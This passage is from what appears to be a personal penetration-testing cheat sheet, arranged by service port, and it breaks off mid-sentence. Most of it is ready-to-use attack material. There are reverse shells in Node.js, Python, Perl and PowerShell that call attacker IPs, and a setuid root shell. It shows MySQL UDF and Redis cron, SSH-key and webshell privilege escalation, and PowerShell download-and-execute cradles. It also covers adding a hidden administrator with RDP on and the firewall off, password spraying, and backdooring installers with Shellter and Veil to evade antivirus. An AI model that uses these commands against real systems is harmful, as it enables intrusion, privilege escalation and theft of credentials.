/srv/Share 127.0.0.1/32(no_root_squash,insecure,rw)
# Forward connection - Run the ssh command on attacker
ssh -f -N megumin@192.168.42.43 -L 2049:127.0.0.1:2049
mount -t nfs 127.0.0.1:/srv/pelota my_share
cd my_share
cat > shell.c
int main(){
setuid(0);
setgid(0);
system("/bin/bash");
}
EOF
gcc shell.c -o shell
chmod u+s shell
# Reverse connection - Run the ssh command on target
# Beware that this means target will access attacker through ssh. Not as safe as forward connection.
ssh -N -R 192.168.119.176:2221:127.0.0.1:2049 aghanim@192.168.119.176
mount -v -t nfs -o port=2221,tcp localhost:/srv/Share mount
</syntaxhighlight>

----

== 3000 - NodeJs ==

<syntaxhighlight lang="javascript">
https://github.com/appsecco/vulnerable-apps/tree/master/node-reverse-shell
# The Javascript code below is a Node.js reverse shell.
# Remember to change the IP address and PORT with the nc you are running.
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(8080, "192.168.33.1", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Prevents the Node.js application form crashing
})();
</syntaxhighlight>

----

== 3306 - MySQL/MariaDB ==

=== Privilege escalation ===

<syntaxhighlight lang="bash">
# https://medium.com/r3d-buck3t/privilege-escalation-with-mysql-user-defined-functions-996ef7d5ceaf
# User-defined function (UDF)
# If you can login as root you can create a malicious functions to run commands.
https://www.exploit-db.com/exploits/1518
# You can also compile it on attacker if target dont have gcc. Use --static.
# Check if secure_file_priv. If empty means disabled
show variables like '%secure_file_priv%';
# Find plugin path. Add the path on step file (dumpfile)
show variables like '%plugin%';
$ gcc -g -c raptor_udf2.c
* $ gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
# Can also transfer exploit raptor_udf2.so with hex.
## xxd -p raptor_udf2.so | tr -d '\n' > raptor_udf2.so.hex
* $ mysql -u root -p
* Enter password:
* [...]
# Set variable for shellcode
## set @shell = 0x7f454c4602010100000000000000000003003e000100000000110000000000004000000000000000e03b0000000000000000000040003800090040001c001b000100000004000000000000...00000000000000000000;
* mysql> use mysql;
* mysql> create table foo(line blob);
* mysql> insert into foo values(load_file('/home/raptor/raptor_udf2.so'));
# Output shellcode to file on target
## select binary @shell into dumpfile '/usr/lib/raptor_udf2.so';
* mysql> select * from foo into dumpfile '/usr/lib/raptor_udf2.so';
* mysql> create function do_system returns integer soname 'raptor_udf2.so';
* mysql> select * from mysql.func;
* +-----------+-----+----------------+----------+
* | name | ret | dl | type |
* +-----------+-----+----------------+----------+
* | do_system | 2 | raptor_udf2.so | function |
* +-----------+-----+----------------+----------+
* mysql> select do_system('id > /tmp/out; chown raptor.raptor /tmp/out');
# OR
select do_system('cp /bin/bash /tmp/out; chmod +xs /tmp/out');
* mysql> \! sh
* sh-2.05b$ cat /tmp/out
* uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm)
* [...]
</syntaxhighlight>

=== Privilege escalation method 2 ===

<syntaxhighlight lang="bash">
https://github.com/mysqludf/lib_mysqludf_sys
# Compiling the above will sometimes not work and you have to do some editing. See the below commands to fix issue and compile correct.
xxd -p lib_mysqludf_sys.so| tr -d '\n' > lib_mysqludf_sys.so.hex
cat lib_mysqludf_sys.so.hex | xclip -selection clipboard
MariaDB [(none)]> select @@plugin_dir
MariaDB [(none)]> set @shell = 0x7f454c4602010100000000000000000003003e000100000000110000000000004000000000000000e03b0000000000000000000040003800090040001c001b000100000004000000000000...00000000000000000000;
MariaDB [(none)]> select binary @shell into dumpfile @@plugin_dir; # Write out the plugin dir like this '/usr/lib/lib_mysqludf_sys.so
MariaDB [(none)]> create function sys_exec returns int soname 'udf_sys_exec.so';
MariaDB [(none)]> select * from mysql.func where name='sys_exec';
MariaDB [(none)]> select sys_exec('cp /bin/sh /tmp/; chown root:root /tmp/sh; chmod +s /tmp/sh')
</syntaxhighlight>

<syntaxhighlight lang="bash">
git clone https://github.com/mysqludf/lib_mysqludf_sys.git
cd lib_mysqludf_sys
rm lib_mysqludf_sys.so
sed -i 's|$(LIBDIR)|.|g' Makefile
sed -i 's|-Wall -I/usr/include/mysql|-Wall -I/usr/include/mariadb/server -I/usr/include/mariadb/ -I/usr/include/mariadb/server/private|g' Makefile
ex lib_mysqludf_sys.c <<<"57,62m27|wq"
sudo apt install libmariadbd-dev
make
</syntaxhighlight>

----

== 3389 - RDP ==

=== Add user and enable RDP ===

<syntaxhighlight lang="bash">
# https://github.com/xapax/oscp/blob/master/templates/windows-template.md
net user aghanim Password123 /add
net localgroup Administrators aghanim /add
net localgroup "Remote Desktop Users" aghanim /ADD
# Enable RDP
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
Turn firewall off
netsh firewall set opmode disable
Or like this
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
If you get this error:
"ERROR: CredSSP: Initialize failed, do you have correct kerberos tgt initialized ?
Failed to connect, CredSSP required by server.""
Add this reg key:
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /
</syntaxhighlight>

=== ThinVNC ===

<syntaxhighlight lang="bash">
https://www.exploit-db.com/exploits/47519
</syntaxhighlight>

----

== 4505, 4506 - zmtp ==

<syntaxhighlight lang="bash">
# RCE in Satlstack 3000 ZeroMQ CVE-2020-11651 and CVE-2020-11652 in
# https://github.com/jasperla/CVE-2020-11651-poc
python3 exploit.py --master 192.168.115.130 --exec "nc 127.0.0.1 4444 -e /bin/sh"
python3 exploit.py --master 192.168.115.130 -r /etc/shadow
</syntaxhighlight>

----

== 5432, 5433 - PostgreSQL ==

=== Commands ===

<syntaxhighlight lang="bash">
psql -U # Open psql console with user
psql -h -U -d # Remote connection
psql -h -p -U -W # Remote connection
</syntaxhighlight>

<syntaxhighlight lang="sql">
psql -h localhost -d -U #Password will be prompted
\list # List databases
\c # use the database
\d # List tables
\du+ # Get users roles
#Read a file
CREATE TABLE demo(t text);
COPY demo from '[FILENAME]';
SELECT * FROM demo;
#Write ascii to a file (copy to cannot copy binary data)
COPY (select convert_from(decode('','base64'),'utf-8')) to 'C:\\some\\interesting\path.cmd';
#List databases
SELECT datname FROM pg_database;
#Read credentials (usernames + pwd hash)
SELECT usename, passwd from pg_shadow;
#Check if current user is superiser
SELECT current_setting('is_superuser'); #If response is "on" then true, if "off" then false
#Check if plpgsql is enabled
SELECT lanname,lanacl FROM pg_language WHERE lanname = 'plpgsql'
#Change password
ALTER USER user_name WITH PASSWORD 'new_password';
#Check users privileges over a table (pg_shadow on this example)
SELECT grantee, privilege_type
FROM information_schema.role_table_grants
WHERE table_name='pg_shadow'
#Get users roles
SELECT
r.rolname,
r.rolsuper,
r.rolinherit,
r.rolcreaterole,
r.rolcreatedb,
r.rolcanlogin,
r.rolconnlimit, r.rolvaliduntil,
ARRAY(SELECT b.rolname
FROM pg_catalog.pg_auth_members m
JOIN pg_catalog.pg_roles b ON (m.roleid = b.oid)
WHERE m.member = r.oid) as memberof
, r.rolreplication
FROM pg_catalog.pg_roles r
ORDER BY 1;
</syntaxhighlight>

=== RCE ===

<syntaxhighlight lang="bash">
# https://book.hacktricks.xyz/pentesting-web/sql-injection/postgresql-injection#rce
#PoC
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;

postgres=# COPY cmd_exec FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.49.115:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;;
COPY 0
</syntaxhighlight>

----

== 5800, 5801, 5900, 5901 - VNC ==

----

== 5985, 5986 - WinRM ==

----
The easiest way to connect to WinRM using C# is to use '''WSMAN Automation'''.

Reference <code>wsmauto.dll</code> from <code>Windows\System32</code> in your project.

The following code should work:

<syntaxhighlight lang="csharp">
IWSMan wsman = new WSManClass();
IWSManConnectionOptions options = (IWSManConnectionOptions)wsman.CreateConnectionOptions();
if (options != null)
{
try
{
// options.UserName = ???;
// options.Password = ???;
IWSManSession session = (IWSManSession)wsman.CreateSession("http://<your_server_name>/wsman", 0, options);
if (session != null)
{
try
{
// retrieve the Win32_Service xml representation
var reply = session.Get("http://schemas.microsoft.com/wbem/wsman/1/wmi/root/cimv2/Win32_Service?Name=winmgmt", 0);
// parse xml and dump service name and description
var doc = new XmlDocument();
doc.LoadXml(reply);
foreach (var elementName in new string[] { "p:Caption", "p:Description" })
{
var node = doc.GetElementsByTagName(elementName)[0];
if (node != null) Console.WriteLine(node.InnerText);
}
}
finally
{
Marshal.ReleaseComObject(session);
}
}
}
finally
{
Marshal.ReleaseComObject(options);
}
}
</syntaxhighlight>

Source:

* [https://stackoverflow.com/questions/3771920/how-to-access-winrm-in-c-sharp stackoverflow]

---

=== WinRM development and lab setup ===

* '''WSMan COM API''' (<code>WSManClass</code>, <code>IWSManSession</code>) fire-and-forget command execution via <code>Win32_Process</code>. Does not return stdout.
* '''PowerShell Runspace API''' (<code>WSManConnectionInfo</code>, <code>RunspaceFactory</code>) Requires <code>System.Management.Automation</code>.

The steps below needs to be run '''on the machine you want to connect to'''. WinRM needs to be configured to accept incoming connections, allow unencrypted HTTP traffic, and accept Basic authentication (required for workgroup/local accounts).

The stepsbelow is needed if you are connecting to a machine that is not part of a domain. When its part of a AD domain it will automatically use Kerberos. The DC will act as the trusted third party to verify identity. No need to add to TrustedHosts, or set Basic auth and AllowUnencrypted. It is encrypted via Kerberos by default.

1. Set Network Profile to Private

WinRM will refuse to configure its firewall exception if the active network adapter is set to "Public". This is a Windows security policy. Change it to Private first.

<syntaxhighlight lang="powershell">
# Find the interface index
Get-NetConnectionProfile

# Set it to Private
Set-NetConnectionProfile -InterfaceIndex <INDEX> -NetworkCategory Private
</syntaxhighlight>

2. Run quickconfig

starts the WinRM service, sets it to auto-start, and creates the firewall exception.

<syntaxhighlight lang="powershell">
winrm quickconfig
</syntaxhighlight>

3. Enable Basic Auth + Unencrypted Traffic

By default WinRM requires encrypted transport (HTTPS). Since we're using plain HTTP (port 5985), we need to allow unencrypted traffic. Basic auth is also disabled by default so it needs to be on for local/workgroup accounts.

<syntaxhighlight lang="powershell">
winrm set winrm/config/service '@{AllowUnencrypted="true"}'
winrm set winrm/config/service/auth '@{Basic="true"}'
</syntaxhighlight>

Registry if the above failes:
<syntaxhighlight lang="powershell">
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN\Service" `
-Name "allow_unencrypted" -Value 1
Restart-Service WinRM
</syntaxhighlight>

Verify:
<syntaxhighlight lang="powershell">
winrm get winrm/config/service
# Look for:
# AllowUnencrypted = true
# Auth/Basic = true
</syntaxhighlight>

Now on your local machine that is '''connecting to the target'''.

1. Enable WinRM

WinRM needs to be running locally to manage client settings like TrustedHosts, even if you're only using it as a client and not accepting inbound connections.

<syntaxhighlight lang="powershell">
Start-Service WinRM
Set-Service WinRM -StartupType Automatic
winrm quickconfig
</syntaxhighlight>

2. Add to TrustedHosts

When connecting to a machine that isn't domain-joined (workgroup), Windows doesn't have a way to verify its identity via Kerberos. TrustedHosts tells your WinRM client "trust this IP even without domain auth". Without this, every connection attempt throws a <code>PSRemotingTransportException</code>.

<syntaxhighlight lang="powershell">
# Trust a specific target
Set-Item WSMan:\localhost\Client\TrustedHosts -Value "10.x.x.x" -Force

# Lab only — trust everything
Set-Item WSMan:\localhost\Client\TrustedHosts -Value "*" -Force
</syntaxhighlight>

3. Allow Unencrypted + Basic on Client Side

Both sides need to allow unencrypted traffic and Basic auth, otherwise the connection is rejected before it even reaches the target.

<syntaxhighlight lang="powershell">
winrm set winrm/config/client '@{AllowUnencrypted="true"}'
winrm set winrm/config/client/auth '@{Basic="true"}'
</syntaxhighlight>

CLEANUP:

<syntaxhighlight lang="powershell">
Set-Item WSMan:\localhost\Client\TrustedHosts -Value "" -Force
Stop-Service WinRM
Set-Service WinRM -StartupType Disabled
</syntaxhighlight>

== 6370 - Redis ==

=== Commands & info ===

<syntaxhighlight lang="bash">
# Service file
/etc/systemd/system/redis.service
# Config file
installdir/redis/etc/redis. conf
</syntaxhighlight>

=== Crontab ===

<syntaxhighlight lang="bash">
root@Urahara:~# echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.85.0.53\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"|redis-cli -h 10.85.0.52 -x set 1
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dir /var/spool/cron/crontabs/
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dbfilename root
OK
root@Urahara:~# redis-cli -h 10.85.0.52 save
OK
</syntaxhighlight>

=== Dumping database ===

=== Load module ===

<syntaxhighlight lang="bash">
# See PG Sybaris writeup
# https://book.hacktricks.xyz/pentesting/6379-pentesting-redis#load-redis-module
# Following the instructions from https://github.com/n0b0dyCN/RedisModules-ExecuteCommand you can compile a redis module to execute arbitrary commands.
# Then you need some way to upload the compiled module
# Load the uploaded module at runtime with MODULE LOAD /path/to/mymodule.so
# List loaded modules to check it was correctly loaded: MODULE LIST
# Execute commands:
127.0.0.1:6379> system.exec "id"
"uid=0(root) gid=0(root) groups=0(root)\n"
127.0.0.1:6379> system.exec "whoami"
"root\n"
127.0.0.1:6379> system.rev 127.0.0.1 9999
Unload the module whenever you want: MODULE UNLOAD mymodule
</syntaxhighlight>

=== Redis-rogue server ===

<syntaxhighlight lang="bash">
# A exploit for Redis(<=5.0.5) RCE
# https://github.com/n0b0dyCN/redis-rogue-server
# https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf
python3 redis-rogue-server.py --rhost=192.168.143.69 --rport=6379 --lhost=192.168.49.143 --lport 6379
</syntaxhighlight>

=== SSH ===

[https://book.hacktricks.xyz/pentesting/6379-pentesting-redis#ssh Source]

<syntaxhighlight lang="bash">
# 1 Generate a ssh public-private key pair on your pc: ssh-keygen -t rsa
# 2 Write the public key to a file : (echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt
# 3 Import the file into redis : cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key
# 4 Save the public key to the authorized_keys file on redis server:
# 4
root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /var/lib/redis/.ssh
OK
10.85.0.52:6379> config set dbfilename "authorized_keys"
OK
10.85.0.52:6379> save
OK
# Finally, you can ssh to the redis server with private key : ssh -i id_rsa redis@10.85.0.52
</syntaxhighlight>

=== Webshell ===

[https://book.hacktricks.xyz/pentesting/6379-pentesting-redis#webshell Source]

<syntaxhighlight lang="bash">
# You must know the path of the Web site folder.
# Try also /var/www/html
root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /usr/share/nginx/html
OK
10.85.0.52:6379> config set dbfilename redis.php
OK
10.85.0.52:6379> set test ""
OK
10.85.0.52:6379> save
OK
</syntaxhighlight>

----

== 27017 - MongoDB ==

=== Crack hash ===

<syntaxhighlight lang="python">
# In order to get the password for MonogDB you need to have the SCRAM challanege, either from a pcap or else. You need the username, client nonce, server nonce, salt, and the target hash.
#!/usr/bin/python3
import base64
import hashlib
import hmac
import sys
USERNAME = 'admin'
SALT = 'zOa0kWA/OTak0a0vNaN0Zh2drO1uekoDUh4sdg=='
CLIENT_NONCE = '+CDTb3v9SwhwxAXb4+vZ32l0VsTvrLeK'
SERVER_NONCE = '+CDTb3v9SwhwxAXb4+vZ32l0VsTvrLeKoGtDP4x0LH5WZgQ9xFMJEJknBHTp6N1D'
ITERATIONS = 15000
TARGET = '/nW1YVs0JcvxU48jLHanbkQbZ4GFJ8+Na8fj7xM1s98='
WORDLIST = '/usr/share/wordlists/rockyou.txt'
def byte_xor(ba1, ba2):
return bytes([_a ^ _b for _a, _b in zip(ba1, ba2)])
def proof(username, password, salt, client_nonce, server_nonce, iterations):
raw_salt = base64.b64decode(salt)
client_first_bare = 'n={},r={}'.format(username, client_nonce)
server_first = 'r={},s={},i={}'.format(server_nonce, salt, iterations)
client_final_without_proof = 'c=biws,r={}'.format(server_nonce)
auth_msg = '{},{},{}'.format(client_first_bare, server_first, client_final_without_proof)
salted_password = hashlib.pbkdf2_hmac('sha256', password.encode('utf-8'), raw_salt, iterations)
client_key = hmac.digest(salted_password, b'Client Key', 'sha256')
stored_key = hashlib.sha256(client_key).digest()
client_signature = hmac.new(stored_key, auth_msg.encode('utf-8'), 'sha256').digest()
client_proof = byte_xor(client_key, client_signature)
return base64.b64encode(client_proof).decode('utf-8')
counter = 0
with open(WORDLIST) as f:
for candidate in f:
counter = counter + 1
if counter % 1000 == 0:
print('Tried {} passwords'.format(counter))
p = proof(USERNAME, candidate.rstrip('\n'), SALT, CLIENT_NONCE, SERVER_NONCE, ITERATIONS)
if p == TARGET:
print('Password found: {}'.format(candidate.rstrip('\n')))
sys.exit(0)
print('Wordlist exhausted with no password found.')
</syntaxhighlight>

----

== 29819 - Windows IoT Core SirepServer ==

[https://github.com/SafeBreach-Labs/SirepRAT SirepRAT]

<syntaxhighlight lang="bash">
# Upload file - Example
python3 SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --return_output --cmd "C:\Windows\System32\cmd.exe" --args ' /c powershell invoke-webrequest -o c:\windows\temp\nc.exe -uri http://10.10.14.12:9000/nc.exe'
# Execute command - Example
python3 SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --return_output --cmd "C:\Windows\System32\cmd.exe" --args ' /c c:\windows\temp\nc.exe -e cmd 10.10.14.12 4444'
</syntaxhighlight>

----

== Active Directory/Windows ==

https://blog.aghanim.net/?p=2078

=== ASREPRoast ===

=== BloodHound ===

<syntaxhighlight lang="bash">
# Using bloodhound.py. Source https://github.com/fox-it/BloodHound.py.
# Allows you to collect data for BloodHound from a Linux system, OSX system, or Windows system that has Python installed on it.
python3 bloodhound.py -c All -d -u -p '' -ns
</syntaxhighlight>

<syntaxhighlight lang="bash">
# Start neo4j database
./neo4j console
# Start BloodHound
./BloodHound.bin --no-sandbox
</syntaxhighlight>

=== Curated list of commands ===

=== Dump hash ===

<syntaxhighlight lang="bash">
# If you have copied over C:\Windows\System32\config\SAM and C:\Windows\System32\config\SYSTEM to attacker machine, use this command to dump the hash.
usr/bin/impacket-secretsdump -sam SAM -security SECURITY -system SYSTEM LOCAL
</syntaxhighlight>

=== Kerberoast ===

=== Pass The Hash ===

=== Password Spraying ===

<syntaxhighlight lang="bash">
crackmapexec smb -u users.txt -p passwords.txt
./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com domain_users.txt Password123
./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com passwords.lst thoffman
</syntaxhighlight>

=== PSEXEC.py, PSExec.exe, Evil-WinRM ===

<syntaxhighlight lang="bash">
python3 psexec.py test.local/john:password123@10.10.10.1
</syntaxhighlight>

<syntaxhighlight lang="bash">
# evil-winrm -u svc-alfresco -p 's3rvice' -i 10.10.10.161
</syntaxhighlight>

<syntaxhighlight lang="bash">
# From SysInternals
PsExec.exe -i -u domain\user cmd.exe
</syntaxhighlight>

=== Powershell commands ===

Running powershell x64, and running (IEX) the downloaded ps1 file.

<syntaxhighlight lang="powershell">
c:\windows\SysNative\WindowsPowershell\v1.0\powershell.exe IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.17:9000/mini-reverse.ps1')
</syntaxhighlight>

Running Powershell on target with ExectionPolicy to bypass

<syntaxhighlight lang="powershell">
powershell.exe -nop -exec bypass
</syntaxhighlight>

Running PowerUp.ps1 on target machine

<syntaxhighlight lang="powershell">
powershell.exe -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.17:9000/PowerUp.ps1');Invoke-AllChecks"
</syntaxhighlight>

Downloading SharpHound.exe on target machine

<syntaxhighlight lang="powershell">
(new-object System.Net.WebClient).DownloadFile('http://10.10.14.17:9000/SharpHound.exe', 'C:\Users\[...]\Desktop\SharpHound.exe')
# Execute SharpHound
./SharpHound.exe
</syntaxhighlight>

Running PowerView.ps1 on target machine

<syntaxhighlight lang="powershell">
IEX(New-Object Net.WebClient).downloadString('http://10.10.14.45:5555/PowerView.ps1')
</syntaxhighlight>

Running Nishangs Invoke-PowershellTCP

<syntaxhighlight lang="powershell">
powershell -c IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.18:9000/shell.ps1')
</syntaxhighlight>

Use invoke webrequest and download script. With -UseBasicParsing. ''-UseBasicParsing - Indicates that the cmdlet uses the response object for HTML content without Document Object Model (DOM) parsing. This parameter is required when Internet Explorer is not installed on the computers, such as on a Server Core installation of a Windows Server operating system.''

<syntaxhighlight lang="powershell">
iex (iwr '10.10.14.9:9000/ipw.ps1') -UseBasicParsing
</syntaxhighlight>

Download a file and save it to location.

<syntaxhighlight lang="powershell">
powershell Invoke-WebRequest -outfile c:\windows\system32\spool\drivers\color\nc.exe -uri http://10.10.14.24/nc64.exe
</syntaxhighlight>

Mini-reverseshell.ps1

<syntaxhighlight lang="powershell">
$socket = new-object System.Net.Sockets.TcpClient('127.0.0.1', 413);
if($socket -eq $null){exit 1}
$stream = $socket.GetStream();
$writer = new-object System.IO.StreamWriter($stream);
$buffer = new-object System.Byte[] 1024;
$encoding = new-object System.Text.AsciiEncoding;
do
{
$writer.Flush();
$read = $null;
$res = ""
while($stream.DataAvailable -or $read -eq $null) {
$read = $stream.Read($buffer, 0, 1024)
}
$out = $encoding.GetString($buffer, 0, $read).Replace("`r`n","").Replace("`n","");
if(!$out.equals("exit")){
$args = "";
if($out.IndexOf(' ') -gt -1){
$args = $out.substring($out.IndexOf(' ')+1);
$out = $out.substring(0,$out.IndexOf(' '));
if($args.split(' ').length -gt 1){
$pinfo = New-Object System.Diagnostics.ProcessStartInfo
$pinfo.FileName = "cmd.exe"
$pinfo.RedirectStandardError = $true
$pinfo.RedirectStandardOutput = $true
$pinfo.UseShellExecute = $false
$pinfo.Arguments = "/c $out $args"
$p = New-Object System.Diagnostics.Process
$p.StartInfo = $pinfo
$p.Start() | Out-Null
$p.WaitForExit()
$stdout = $p.StandardOutput.ReadToEnd()
$stderr = $p.StandardError.ReadToEnd()
if ($p.ExitCode -ne 0) {
$res = $stderr
} else {
$res = $stdout
}
}
else{
$res = (&"$out" "$args") | out-string;
}
}
else{
$res = (&"$out") | out-string;
}
if($res -ne $null){
$writer.WriteLine($res)
}
}
}While (!$out.equals("exit"))
$writer.close();
$socket.close();
$stream.Dispose()
</syntaxhighlight>

Powershell location

<syntaxhighlight lang="bash">
# 64-bit Windows
%SystemRoot%\system32\WindowsPowerShell\v1.0\powershell.exe
# 32-bit (x86) Windows
%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
</syntaxhighlight>

=== User enumeration ===

<syntaxhighlight lang="bash">
./kerbrute_linux_amd64 userenum -d --dc usernames.txt
</syntaxhighlight>

----

== Ansible ==

[https://www.shellhacks.com/ansible-vault-encrypt-decrypt-string/ Ansible Vault: Encrypt | Decrypt a String - ShellHacks]

<syntaxhighlight lang="bash">
# Run Ad-hoc command
ansible victims -a "whoami"
# Run ad-hoc command as root or other users
# If you don't specify user it will default to root.
ansible victims -a "whoami" --become

## Crack Ansible hash
# Notice the spaces between AES256 and 666...
cat test.yml >
$ANSIBLE_VAULT;1.1;AES256
666437336533356566623438326334393535653438393865386437636435313430653666616336346262313438663539373565646533383430326130313532380a316132313636383633386532333765373238383430383937383138316361636436386231623236306564343464333466646132333930366638663531343866380a31363435333133333162356530383332366362326561613163393462313462656439343264376638643033633037666534656631333963333638326131653764
# Convert to readable hash
https://github.com/willstruggle/john/blob/master/ansible2john.py
python3 ansible2john.py test.yml > ansiblehash
cat ansiblehash >
$ansible$0*0*9661a952b5822af9a210...
# Crack the hash using john or hashcat
john ansiblehash
hashcat ansiblehash --force --hash-type=16900 /usr/share/wordlists/rockyou.txt
# Decrypt vault
cat pw.txt >
$ANSIBLE_VAULT;1.1;AES256
666437336533356566623438326334393535653438393865386437636435313430653666616336346262313438663539373565646533383430326130313532380a316132313636383633386532333765373238383430383937383138316361636436386231623236306564343464333466646132333930366638663531343866380a31363435333133333162356530383332366362326561613163393462313462656439343264376638643033633037666534656631333963333638326131653764
cat pw.txt | ansible-vault decrypt
# Use the pass cracked from john or hashcat
Vault password:
lab
# Run the playbook
ansible-playbook playbook.yml --vault-password-file=vault.txt
# OR
ansible-playbook playbook.yml --ask-vault-pass
</syntaxhighlight>

== Artifactory Jfrog ==

<syntaxhighlight lang="bash">
https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/artifactory-hacking-guide
</syntaxhighlight>

== Anti-Virus Evasion (Bypass) ==

[https://book.hacktricks.xyz/windows-hardening/av-bypass https://book.hacktricks.xyz/windows-hardening/av-bypass]

PWK chapter 17

OSEP

=== Test payload against AV ===

https://virustotal.com (Don't use if you want you're payload to be detected. Virustotal sends a copy of payload to antiviurs vendors.

https://antiscan.me

=== Theory ===

<syntaxhighlight lang="bash">
# On-Disk Evasion
- Packers
- Obfuscator
- Crypters
- Software protectors
# In-memory Evasion
- Remote Process Memory Injection
- Reflective DLL Injection
- Process Hollowing
- Inline hooking
</syntaxhighlight>

=== Shellter ===

Shellter is a dynamic shellcode injection tool and one of the most popular free tools capable of bypassing antivirus software.

It uses a number of novel and advanced techniques to essentially backdoor a valid and non-malicious executable file with a malicious shellcode payload.

The free version only works for x86, not x64.

<syntaxhighlight lang="bash">
# Install
sudo apt install shellter
apt install wine
# If error
dpkg --add-architecture i386 && apt-get update &&
apt-get install wine32:i386
# Start
shellter
# Download a valid .exe file, ex spotify installer and load it into shellter.
/home/aghanim/downloads/SpotifySetup.exe
# Choose a payload from the list.
L
1
SET LHOST: IP
SET LPORT: PORT
# After shellter finishes injecting shellcode in the binary, transfer it to target and execute. You'll get a shell back but it will die when the installer is finished and the process is closed. To bypass this, we can use meterpreter "migrate".
set AutoRunScript post/windows/manage/migrate
-----------------------
# You can also set custom payload
# First generate a binary file with msfvenom. -e is the encoding we're using, and -i is the number of iterations. (The number of times to encode the payload)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.11.0.4 LPORT=80 -e x86/shikata_ga_nai -i 7 -f raw > met.bin
# Start shellter
Choose Operation Mode - Auto/Manual (A/M/H): A
PE Target: /home/kali/poultry/whoami.exe
**********
* Backup *
**********
Backup: Shellter_Backups\whoami.exe
...
Filtering Time Approx: 0.0024 mins.
Enable Stealth Mode? (Y/N/H): N
************
* Payloads *
************
[1] Meterpreter_Reverse_TCP [stager]
[2] Meterpreter_Reverse_HTTP [stager]
[3] Meterpreter_Reverse_HTTPS [stager]
[4] Meterpreter_Bind_TCP [stager]
[5] Shell_Reverse_TCP [stager]
[6] Shell_Bind_TCP [stager]
[7] WinExec
Use a listed payload or custom? (L/C/H): C
Select Payload: /home/kali/poultry/met.bin
Is this payload a reflective DLL loader? (Y/N/H): N
****************
* Payload Info *
****************
...
Injection: Verified!
</syntaxhighlight>

[[File:2022-10-image-1.png|thumb]]

[[File:2022-10-image-2.png|thumb]]

=== Veil Framework ===

Veil is a tool designed to generate metasploit payloads that bypass common anti-virus solutions. It replaces the package veil-evasion.

<syntaxhighlight lang="bash">
# Install
# https://github.com/Veil-Framework/Veil
apt -y install veil
/usr/share/veil/config/setup.sh --force --silent
# If error with (wine) python pip peefile version fix with this
vim /usr/share/veil/config/setup.sh
Change line 587 to:
sudo -u "${trueuser}" WINEPREFIX="${winedir}" wine "${winedir}/drive_c/Python34/python.exe" "-m" "pip" "install" "-Iv" "pefile==2019.4.18"
Then, run # veil --setup again.

# Start veil
veil
# or
/usr/share/veil/Veil.py
# Available Commands:
exit Completely exit Veil
info Information on a specific tool
list List available tools
options Show Veil configuration
update Update Veil
use Use a specific tool

# Generate a powershell script (bat file) for evasion
veil > use evasion
# List payloads
veil > list
# Use powershell rev tcp payload
veil/evasion > use powershell/meterpreter/rev_tcp.py
# List options
[powershell/meterpreter/rev_tcp>>]: options
# Generate payload
[powershell/meterpreter/rev_tcp>>]: generate

# From pic below, payload is in /var/lib/veil/output/source/ folder
</syntaxhighlight>

[[File:2022-10-image-3.png|thumb]]

=== Ebowla ===

<syntaxhighlight lang="bash">
https://github.com/Genetic-Malware/Ebowla
# Use it to obfuscate payloads like JuicyPotato or other exploits.
# Quick demo
https://www.youtube.com/watch?v=rRm3O7w5GHg
</syntaxhighlight>

----

== API ==

[https://github.com/assetnote/kiterunner assetnote/kiterunner: Contextual Content Discovery Tool]

<syntaxhighlight lang="bash">
# Need to have golang installed
apt-get install golang
# build the binary
make build
# symlink your binary
ln -s $(pwd)/dist/kr /usr/local/bin/kr
# compile the wordlist
# kr kb compile
kr kb compile routes.json routes.kite
# scan away
kr scan hosts.txt -w routes.kite -x 20 -j 100 --ignore-length=1053
</syntaxhighlight>

== Buffer overflow ==

https://blog.aghanim.net/?p=1932

----

== Browser exploits ==

=== Firefox ===

<syntaxhighlight lang="bash">
# Extract passwords from profile
https://github.com/unode/firefox_decrypt
</syntaxhighlight>

----

----

== Client-Side Code Execution ==

=== HTML Smuggeling ===

HTML Smuggeling is when a victim clicks on a malicious link and JavaScript code inside the website will use HTML smuggeling to automatically save the dropper file. The technique uses the HTML5 anchor tag download attribute instructs the
